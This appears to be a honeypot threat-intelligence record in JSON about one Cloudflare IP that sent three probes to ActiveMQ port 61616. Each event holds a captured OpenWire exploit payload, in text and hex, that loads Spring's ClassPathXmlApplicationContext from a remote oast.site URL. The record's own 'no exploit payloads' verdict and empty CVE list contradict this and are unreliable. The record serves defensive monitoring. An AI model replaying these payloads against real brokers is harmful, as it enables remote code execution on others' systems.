{"ip":"104.28.211.32","total_events":3,"verdict":{"verdict":"probing","label":"Low-level probing","detail":null,"confidence":"low","network_type":"CDN","why":["3 event(s), fewer than 10 distinct ports, no exploit payloads.","Not in any known-scanner range."],"engagement":{"level":"request","label":"Request traffic","detail":"520 bytes sent","bytes_sent":520,"session_seconds":0,"persistent":false}},"first_seen":"2026-08-26T01:33:48","last_seen":"2026-08-26T02:31:21","events_24h":0,"events_7d":3,"geo":{"country_code":"KR","country_name":"South Korea","region":"Seoul","city":"Seoul","lat":37.5658,"lon":126.978,"asn":13335,"org":"Cloudflare, Inc."},"source_domain":null,"known_scanners":[],"scanner_tag":{"key":"peeringdb:as13335","label":"Cloudflare","category":"cdn","url":"https://www.peeringdb.com/asn/13335"},"cve_matches":[],"malware":[],"top_ports":[{"port":61616,"proto":"tcp","label":"ActiveMQ","count":3}],"fingerprints":{"ssh_hassh":[],"tls_ja4":[],"tls_ja3":[],"ja4h":[]},"fingerprint_peers":{},"user_agents":[],"timeline":[{"date":"2026-08-26","count":3}],"recent_events":[{"timestamp":"2026-08-26T02:31:21","port":61616,"proto":"tcp","app_proto":"","app_protocol":"","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"\u0000\u0000\u0000U\u001f\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u000101\u0000\u0000\u0000Borg.springframework.context.support.ClassPathXmlApplicationContext01\u0000\u0000\u0000Qhttp://da73nvgejofss8ulhapg16c4bfxxdub37.oast.site/amq61616_<HONEYPOT>.ctx.xml","payload_hex":"000000551f000000000000000000013031000000426f72672e737072696e676672616d65776f726b2e636f6e746578742e737570706f72742e436c61737350617468586d6c4170706c69636174696f6e436f6e74657874303100000051687474703a2f2f646137336e7667656a6f66737338756c68617067313663346266787864756233372e6f6173742e736974652f616d7136313631365f352d3137352d3138332d3133322e6374782e786d6c","method":"","user_agent":"","ja3":"","session":"38d2a85b-784e-40b5-8018-43c090bae902","seq":1,"duration_ms":100,"bytes_in":174,"bytes_out":13,"enriched":{"digest":"c940c270875aa1f1","strings":["Borg.springframework.context.support.ClassPathXmlApplicationContext01","Qhttp://da73nvgejofss8ulhapg16c4bfxxdub37.oast.site/amq61616_<HONEYPOT>.ctx.xml","01Borg.springframework.context.support.ClassPathXmlApplicationContext01Qhttp://d…"],"iocs":{"urls":["http://da73nvgejofss8ulhapg16c4bfxxdub37.oast.site/amq61616_"],"domains":["borg.springframework.context.support","da73nvgejofss8ulhapg16c4bfxxdub37.oast.site","01borg.springframework.context.support"],"paths":["/da73nvgejofss8ulhapg16c4bfxxdub37.oast.site/amq61616_"]}}},{"timestamp":"2026-08-26T01:33:48","port":61616,"proto":"tcp","app_proto":"","app_protocol":"","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"\u0000\u0000\u0000T\u001f\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u000101\u0000\u0000\u0000Borg.springframework.context.support.ClassPathXmlApplicationContext01\u0000\u0000\u0000Phttp://da73nvgejofss8ulhapg16c4bfxxdub37.oast.site/amq61616_<HONEYPOT>.ctx.xml","payload_hex":"000000541f000000000000000000013031000000426f72672e737072696e676672616d65776f726b2e636f6e746578742e737570706f72742e436c61737350617468586d6c4170706c69636174696f6e436f6e74657874303100000050687474703a2f2f646137336e7667656a6f66737338756c68617067313663346266787864756233372e6f6173742e736974652f616d7136313631365f32332d39342d33362d3134312e6374782e786d6c","method":"","user_agent":"","ja3":"","session":"1d009b5e-b589-49ee-8309-44bbd0678b88","seq":1,"duration_ms":100,"bytes_in":173,"bytes_out":13,"enriched":{"digest":"5e376cf58de3f65b","strings":["Borg.springframework.context.support.ClassPathXmlApplicationContext01","Phttp://da73nvgejofss8ulhapg16c4bfxxdub37.oast.site/amq61616_<HONEYPOT>.ctx.xml","01Borg.springframework.context.support.ClassPathXmlApplicationContext01Phttp://d…"],"iocs":{"urls":["http://da73nvgejofss8ulhapg16c4bfxxdub37.oast.site/amq61616_"],"domains":["borg.springframework.context.support","da73nvgejofss8ulhapg16c4bfxxdub37.oast.site","01borg.springframework.context.support"],"paths":["/da73nvgejofss8ulhapg16c4bfxxdub37.oast.site/amq61616_"]}}},{"timestamp":"2026-08-26T01:33:48","port":61616,"proto":"tcp","app_proto":"","app_protocol":"","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"\u0000\u0000\u0000T\u001f\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u000101\u0000\u0000\u0000Borg.springframework.context.support.ClassPathXmlApplicationContext01\u0000\u0000\u0000Phttp://da73nvgejofss8ulhapg16c4bfxxdub37.oast.site/amq61616_<HONEYPOT>.ctx.xml","payload_hex":"000000541f000000000000000000013031000000426f72672e737072696e676672616d65776f726b2e636f6e746578742e737570706f72742e436c61737350617468586d6c4170706c69636174696f6e436f6e74657874303100000050687474703a2f2f646137336e7667656a6f66737338756c68617067313663346266787864756233372e6f6173742e736974652f616d7136313631365f32332d39342d33372d3232372e6374782e786d6c","method":"","user_agent":"","ja3":"","session":"7445ff46-bd7f-45f2-99b1-cf2cfc6aef92","seq":1,"duration_ms":100,"bytes_in":173,"bytes_out":13,"enriched":{"digest":"5e376cf58de3f65b","strings":["Borg.springframework.context.support.ClassPathXmlApplicationContext01","Phttp://da73nvgejofss8ulhapg16c4bfxxdub37.oast.site/amq61616_<HONEYPOT>.ctx.xml","01Borg.springframework.context.support.ClassPathXmlApplicationContext01Phttp://d…"],"iocs":{"urls":["http://da73nvgejofss8ulhapg16c4bfxxdub37.oast.site/amq61616_"],"domains":["borg.springframework.context.support","da73nvgejofss8ulhapg16c4bfxxdub37.oast.site","01borg.springframework.context.support"],"paths":["/da73nvgejofss8ulhapg16c4bfxxdub37.oast.site/amq61616_"]}}}],"http_methods":[],"distinct_ports_total":1,"top_paths":[],"distinct_paths_total":0,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":null,"tags":[],"data_as_of":"2026-08-31T23:16:38.832508+00:00"}